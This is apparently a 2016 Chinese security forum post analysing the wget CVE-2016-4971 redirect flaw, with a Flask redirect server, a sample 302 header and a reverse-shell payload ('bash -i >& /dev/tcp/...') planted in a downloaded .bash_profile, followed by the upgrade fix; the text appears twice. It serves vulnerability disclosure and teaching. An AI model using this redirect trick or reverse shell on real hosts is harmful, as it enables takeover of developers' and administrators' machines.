-
-
Wget漏洞(CVE-2016-4971)利用方式解析
-
发表于: 2016-6-23 11:24 1984
-
漏洞描述
近日, CVE-2016-4971漏洞被正式披露,该漏洞影响全部旧版本wget, 黑客可以利用此漏洞对程序员和运维工程师进行钓鱼,从而获得其主机权限或者植入rootkit。
漏洞详情
wget 作为*nix 系统常用下载工具,支持http、https、ftp 等多种协议,当使用wget 下载文件时,若初始下载http服务提供的下载资源, 如果服务器将下载资源重定向到ftp服务时,wget 会默认信赖http服务器重定向的ftp 链接地址和文件名,而不做二次验证。从而可能下载到恶意钓鱼者的恶意文件,导致主机被入侵。
比如,当我们访问 wget http://attackers-server/safe_file.txt 时,若http server 返回如下响应头。
HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: ftp://attackers-server/.bash_profile
Content-Length: 262
Server: Apache
同时我们在自己的目录下执行wget 请求,且当前home目录下不含有.bash_profile ,则我们会在自己系统home目录下下载到这个.bash_profile, 。恶意钓鱼者可以在此bash_profile 文件中写入任何恶意代码,并且我们再次启动shell 时恶意代码就会执行,从而导致我们的主机被入侵。
具体攻击实例演示
当前演示主机上wget 版本如下:
我们写一个简单的http下载服务, 命名为testWget.py
#!/usr/bin/env python
from flask import Flask, redirect
app = Flask(__name__)
@app.route("/noharm.txt")
def test():
return redirect("ftp://192.168.50.116/.bash_profile")
if __name__ == "__main__":
app.run(host="0.0.0.0",port=80)
同时在192.168.50.116 主机上开启ftp服务,且将攻击payload (bash -i >& /dev/tcp/74.207.xxx.xxx/9980 0>&1) 写入ftp服务中的.bash_profile 文件中,并且在自己主机vps 监听9980 端口。
此时在另外一台IP为 192.168.50.61 主机上的Home目录下执行 wget http://192.168.50.116/noharm.txt (注意该Home目录下没有.bash_history文件). 退出当前并再次进入shell(触发.bash_profile文件中的恶意代码执行)。
此时在我们的vps 上可以成功拿到192.168.50.61 的shell 权限。
上述攻击实例,只是为了用实例演示漏洞的实际危害,具体攻击场景因实际情况而定。
修复方案:
升级你的wget 到GNU wget 1.18版本。
参考文献:
https://lists.gnu.org/archive/html/bug-wget/2016-06/msg00033.html
https://bugzilla.redhat.com/show_bug.cgi?id=1343666
https://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html
http://git.savannah.gnu.org/cgit/wget.git/commit/?id=e996e322ffd42aaa051602da182d03178d0f13e1
http://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html
近日, CVE-2016-4971漏洞被正式披露,该漏洞影响全部旧版本wget, 黑客可以利用此漏洞对程序员和运维工程师进行钓鱼,从而获得其主机权限或者植入rootkit。
漏洞详情
wget 作为*nix 系统常用下载工具,支持http、https、ftp 等多种协议,当使用wget 下载文件时,若初始下载http服务提供的下载资源, 如果服务器将下载资源重定向到ftp服务时,wget 会默认信赖http服务器重定向的ftp 链接地址和文件名,而不做二次验证。从而可能下载到恶意钓鱼者的恶意文件,导致主机被入侵。
比如,当我们访问 wget http://attackers-server/safe_file.txt 时,若http server 返回如下响应头。
HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: ftp://attackers-server/.bash_profile
Content-Length: 262
Server: Apache
同时我们在自己的目录下执行wget 请求,且当前home目录下不含有.bash_profile ,则我们会在自己系统home目录下下载到这个.bash_profile, 。恶意钓鱼者可以在此bash_profile 文件中写入任何恶意代码,并且我们再次启动shell 时恶意代码就会执行,从而导致我们的主机被入侵。
具体攻击实例演示
当前演示主机上wget 版本如下:
我们写一个简单的http下载服务, 命名为testWget.py
#!/usr/bin/env python
from flask import Flask, redirect
app = Flask(__name__)
@app.route("/noharm.txt")
def test():
return redirect("ftp://192.168.50.116/.bash_profile")
if __name__ == "__main__":
app.run(host="0.0.0.0",port=80)
同时在192.168.50.116 主机上开启ftp服务,且将攻击payload (bash -i >& /dev/tcp/74.207.xxx.xxx/9980 0>&1) 写入ftp服务中的.bash_profile 文件中,并且在自己主机vps 监听9980 端口。
此时在另外一台IP为 192.168.50.61 主机上的Home目录下执行 wget http://192.168.50.116/noharm.txt (注意该Home目录下没有.bash_history文件). 退出当前并再次进入shell(触发.bash_profile文件中的恶意代码执行)。
此时在我们的vps 上可以成功拿到192.168.50.61 的shell 权限。
上述攻击实例,只是为了用实例演示漏洞的实际危害,具体攻击场景因实际情况而定。
修复方案:
升级你的wget 到GNU wget 1.18版本。
参考文献:
https://lists.gnu.org/archive/html/bug-wget/2016-06/msg00033.html
https://bugzilla.redhat.com/show_bug.cgi?id=1343666
https://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html
http://git.savannah.gnu.org/cgit/wget.git/commit/?id=e996e322ffd42aaa051602da182d03178d0f13e1
http://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html
赞赏
看原图
赞赏
雪币:
留言: